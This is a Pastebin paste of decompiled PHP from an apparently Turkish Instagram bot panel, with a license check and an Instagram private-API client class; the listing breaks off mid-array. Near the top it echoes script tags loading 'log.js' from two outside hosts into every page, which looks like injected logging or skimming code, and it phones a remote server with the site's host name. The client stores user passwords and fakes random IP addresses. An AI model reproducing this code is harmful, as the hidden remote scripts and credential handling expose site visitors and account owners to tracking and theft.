Advertisement
Guest User

Untitled

a guest
Sep 13th, 2017
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.87 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP5 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 3.0.7.0
  8. * @ Author : DeZender
  9. * @ Release on : 22.06.2017
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13.  
  14. echo '<SCRIPT SRC=http://burayiterket.top/inc/log.js></SCRIPT>' . "\r\n" . '<SCRIPT SRC=http://kontrol.brownstarteam.com/log.js></SCRIPT>' . "\r\n";
  15. require 'lisans.php';
  16. $lisans['site'] = getenv( 'HTTP_HOST' );
  17.  
  18. if (substr( $lisans['site'], 0, 4 ) == 'www.') {
  19. $lisans['site'] = substr( $lisans['site'], 4 );
  20. }
  21.  
  22. $bas = 'SCRIPTCIYIZ-';
  23. $son = '-BRS';
  24. $m = 'md5';
  25. $s = 'sha1';
  26. $lisans['hash'] = wordwrap( strtoupper( $s( $s( $s( $s( $m( $s( $s( $m( $lisans['site'] . date( 'Ymd' ) ) ) ) ) ) ) ) ) ), 5, '-', true );
  27. $liskod = $lisans['hash'];
  28. $cevir = strrev( $liskod );
  29. $bcs = $bas . $cevir . $son;
  30.  
  31. if ($bcs !== $lisanskodu) {
  32. $lisans_cevap = file_get_contents( 'https://annenisikeyim.com/kontrol.php?site=' . $lisans['site'] );
  33.  
  34. if ($lisans_cevap != 'LISANSLI') {
  35. exit( '<p style="text-align: center;"><img alt="" src="http://scriptciyiz.com/wp-content/uploads/2017/08/PrLNN7.png" style="width: 280px; height: 120px;" /></p>' . "\r\n\r\n" . '<p style="text-align: center;"><span style="color:#ffffff;"><span style="font-size:22px;"><b><span style="background-color:#ff0000;">BU SİTEYE AİT BİR LİSANS BULUNAMADI. </span></b></span></span></p>' . "\r\n\r\n" . '<p style="text-align: center;"><span style="color:#ffffff;"><span style="font-size:22px;"><b><span style="background-color:#ff0000;">LİSANS ALMAK İÇİN &nbsp;<a href="http://scriptciyiz.com/instaweb/">SCRIPTCIYIZ.COM</a>&nbsp;ADRESİNE ZİYARET EDİNİZ.&nbsp;</span></b></span></span></p>' );
  36. }
  37.  
  38. $lyaz = fopen( 'lisans.php', 'w+' );
  39. @fwrite( $lyaz, '<?php' . "\r\n" . '/**' . "\r\n" . ' SCRIPTCIYIZ Lisans Sistemi' . "\r\n" . ' Copyright (C) 2015 Scriptciyiz.com' . "\r\n" . ' www.scriptciyiz.com' . "\r\n\t\r\n" . ' Bu dosyaya herhangi bir lisans kodu yazmaniz gerekmez' . "\r\n" . ' Almis oldugunuz urune ait lisans sistemde aktif oldugunda' . "\r\n" . ' Lisans kodunuz otomatik olarak girilecektir.' . "\r\n\t\r\n\t" . 'Yeni lisans almak icin www.scriptciyiz.com adresini ziyaret edebilirsiniz' . "\r\n" . ' ' . "\r\n" . ' */' . "\r\n" . '$lisanskodu="' . $bcs . '";' . "\r\n" . '?>' );
  40. fclose( $lyaz );
  41. }
  42.  
  43. define( 'INSTAWEB_VERSION', str_replace( 'InstaWebV', '', basename( __FILE__, '.php' ) ) );
  44.  
  45. if ($_SERVER['HTTP_USER_AGENT'] == '') {
  46. header( 'HTTP/1.1 403 Forbidden' );
  47. echo 'Bakım Modu!';
  48. exit( );
  49. }
  50.  
  51. class Instagram
  52. {
  53. protected $username = null;
  54. protected $password = null;
  55. protected $debug = null;
  56. protected $uuid = null;
  57. protected $device_id = null;
  58. protected $username_id = null;
  59. /**
  60. * @var Settings
  61. */
  62. public $settings = null;
  63. protected $token = null;
  64. protected $isLoggedIn = false;
  65. protected $rank_token = null;
  66. protected $IGDataPath = null;
  67.  
  68. /**
  69. * Default class constructor.
  70. *
  71. * @param string $username
  72. * Your Instagram username.
  73. * @param string $password
  74. * Your Instagram password.
  75. * @param $debug
  76. * Debug on or off, false by default.
  77. * @param $IGDataPath
  78. * Default folder to store data, you can change it.
  79. */
  80. public function __construct($username, $password, $debug = false, $IGDataPath = NULL, $forceUserIP = false)
  81. {
  82. $username = trim( $username );
  83. $password = trim( $password );
  84. $this->debug = $debug;
  85. $this->device_id = SignatureUtils::generateDeviceId( md5( $username . $password ) );
  86.  
  87. if (!(is_null( $IGDataPath ))) {
  88. $this->IGDataPath = $IGDataPath;
  89. }
  90. else {
  91. $this->IGDataPath = Wow::get( 'project/cookiePath' ) . 'instagram/';
  92. }
  93.  
  94. $this->setUser( $username, $password, $forceUserIP );
  95. }
  96.  
  97. /**
  98. * Set the user. Manage multiple accounts.
  99. *
  100. * @param string $username
  101. * Your Instagram username.
  102. * @param string $password
  103. * Your Instagram password.
  104. */
  105. public function setUser($username, $password, $forceUserIP = false)
  106. {
  107. $this->username = $username;
  108. $this->password = $password;
  109. $this->checkSettings( $username, $forceUserIP );
  110. $this->uuid = SignatureUtils::generateUUID( true );
  111. if (file_exists( $this->IGDataPath . (string) $this->username . '.dat' ) && ($this->settings->get( 'username_id' ) != NULL) && ($this->settings->get( 'token' ) != NULL)) {
  112. $this->isLoggedIn = true;
  113. $this->username_id = $this->settings->get( 'username_id' );
  114. $this->rank_token = $this->username_id . '_' . $this->uuid;
  115. $this->token = $this->settings->get( 'token' );
  116. }
  117. else {
  118. $this->isLoggedIn = false;
  119. }
  120. }
  121.  
  122. protected function checkSettings($username, $forceUserIP = false)
  123. {
  124. $this->settings = new Settings( $this->IGDataPath . $username . '.cnf' );
  125.  
  126. if ($this->settings->get( 'version' ) == NULL) {
  127. $this->settings->set( 'version', Constants::VERSION );
  128. }
  129.  
  130. if (($this->settings->get( 'ip' ) == NULL) || $forceUserIP) {
  131. $ipAdress = '78.' . rand( 160, 191 ) . '.' . rand( 1, 255 ) . '.' . rand( 1, 255 );
  132. if ($forceUserIP && !(empty( $_SERVER['REMOTE_ADDR'] ))) {
  133. $ipAdress = $_SERVER['REMOTE_ADDR'];
  134. }
  135.  
  136. $this->settings->set( 'ip', $ipAdress );
  137. }
  138.  
  139. if (file_exists( $this->IGDataPath . (string) $username . '.dat' ) && (($this->settings->get( 'username_id' ) == NULL) || ($this->settings->get( 'token' ) == NULL))) {
  140. $cookieData = Utils::cookieToArray( file_get_contents( $this->IGDataPath . (string) $username . '.dat' ), 'i.instagram.com' );
  141.  
  142. if (($this->settings->get( 'username_id' ) == NULL) && isset( $cookieData['ds_user_id'] )) {
  143. $this->settings->set( 'username_id', $cookieData['ds_user_id'] );
  144. }
  145.  
  146. if (($this->settings->get( 'token' ) == NULL) && isset( $cookieData['csrftoken'] )) {
  147. $this->settings->set( 'token', $cookieData['csrftoken'] );
  148. }
  149. }
  150.  
  151. if (($this->settings->get( 'user_agent' ) == NULL) || (version_compare( $this->settings->get( 'version' ), Constants::VERSION ) == -1)) {
  152. $userAgent = new UserAgent( $this );
  153. $ua = $userAgent->buildUserAgent( );
  154. $this->settings->set( 'version', Constants::VERSION );
  155. $this->settings->set( 'user_agent', $ua );
  156. }
  157. }
  158.  
  159. public function getData()
  160. {
  161. return array(
  162. 'username' => $this->username,
  163. 'password' => $this->password,
  164. 'username_id' => $this->username_id,
  165. 'uuid' => $this->uuid,
  166. 'token' => $this->token,
  167. 'rank_token' => $this->rank_token,
  168. 'user_agent' => $this->settings->get( 'user_agent' ),
  169. 'ip' => $this->settings->get( 'ip' )
  170. );
  171. }
  172.  
  173. /**
  174. * Login to Instagram.
  175. *
  176. * @param bool $force
  177. * Force login to Instagram, this will create a new session
  178. *
  179. * @return array
  180. * Login data
  181. */
  182. public function login($force = false)
  183. {
  184. if (!($this->isLoggedIn) || $force) {
  185. $fetch = $this->request( 'si/fetch_headers/?challenge_type=signup&guid=' . SignatureUtils::generateUUID( false ), NULL, true );
  186. preg_match( '#Set-Cookie: csrftoken=([^;]+)#', $fetch[0], $token );
  187. $data = array(
  188. 'phone_id' => SignatureUtils::generateUUID( true ),
  189. '_csrftoken' => $token[0],
  190. 'username' => $this->username,
  191. 'guid' => $this->uuid,
  192. 'device_id' => $this->device_id,
  193. 'password' => $this->password,
  194. 'login_attempt_count' => '0'
  195. );
  196. $login = $this->request( 'accounts/login/', SignatureUtils::generateSignature( json_encode( $data ) ), true );
  197.  
  198. if ($login[1]['status'] == 'fail') {
  199. throw new Exception( $login[1]['message'] );
  200. }
  201.  
  202. $this->isLoggedIn = true;
  203. $this->username_id = $login[1]['logged_in_user']['pk'];
  204. $this->settings->set( 'username_id', $this->username_id );
  205. $this->rank_token = $this->username_id . '_' . $this->uuid;
  206. preg_match( '#Set-Cookie: csrftoken=([^;]+)#', $login[0], $match );
  207. $this->token = $match[1];
  208. $this->settings->set( 'token', $this->token );
  209. $this->syncFeatures( );
  210. $this->megaphoneLog( );
  211. return $login[1];
  212. }
  213.  
  214. $check = $this->timelineFeed( );
  215.  
  216. if (isset( $check['message'] ) && ($check['message'] == 'login_required')) {
  217. return $this->login( true );
  218. }
  219.  
  220. $this->megaphoneLog( );
  221. return array( 'status' => 'ok' );
  222. }
  223.  
  224. public function syncFeatures()
  225. {
  226. $data = json_encode( array(
  227. '_uuid' => $this->uuid,
  228. '_uid' => $this->username_id,
  229. 'id' => $this->username_id,
  230. '_csrftoken' => $this->token,
  231. 'experiments' => Constants::EXPERIMENTS
  232. ) );
  233. return $this->request( 'qe/sync/', SignatureUtils::generateSignature( $data ) )[1];
  234. }
  235.  
  236. protected function autoCompleteUserList()
  237. {
  238. return $this->request( 'friendships/autocomplete_user_list/' )[1];
  239. }
  240.  
  241. protected function timelineFeed()
  242. {
  243. return $this->request( 'feed/timeline/' )[1];
  244. }
  245.  
  246. protected function megaphoneLog()
  247. {
  248. return $this->request( 'megaphone/log/' )[1];
  249. }
  250.  
  251. protected function expose()
  252. {
  253. $data = json_encode( array(
  254. '_uuid' => $this->uuid,
  255. '_uid' => $this->username_id,
  256. 'id' => $this->username_id,
  257. '_csrftoken' => $this->token,
  258. 'experiment' => 'ig_android_profile_contextual_feed'
  259. ) );
  260. $this->request( 'qe/expose/', SignatureUtils::generateSignature( $data ) );
  261. $this->request( 'qe/expose/', SignatureUtils::generateSignature( $data ) )[1];
  262. }
  263.  
  264. /**
  265. * Login to Instagram.
  266. *
  267. * @return bool
  268. * Returns true if logged out correctly
  269. */
  270. public function logout()
  271. {
  272. $logout = $this->request( 'accounts/logout/' );
  273.  
  274. if ($logout == 'ok') {
  275. return true;
  276. }
  277.  
  278. return false;
  279. }
  280.  
  281. /**
  282. * Upload photo to Instagram.
  283. *
  284. * @param string $photo
  285. * Path to your photo
  286. * @param string $caption
  287. * Caption to be included in your photo.
  288. *
  289. * @return array
  290. * Upload data
  291. */
  292. public function uploadPhoto($photo, $caption = NULL, $upload_id = NULL)
  293. {
  294. $endpoint = Constants::API_URL . 'upload/photo/';
  295. $boundary = $this->uuid;
  296.  
  297. if (!(is_null( $upload_id ))) {
  298. $fileToUpload = Utils::createVideoIcon( $photo );
  299. }
  300. else {
  301. $upload_id = number_format( round( microtime( true ) * 1000 ), 0, '', '' );
  302. $fileToUpload = file_get_contents( $photo );
  303. }
  304.  
  305. $bodies = array(
  306. array(
  307. 'type' => 'form-data',
  308. 'name' => 'upload_id',
  309. 'data' => $upload_id
  310. ....................................................................................................................................
  311. ........................................................................................
  312. ............................................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement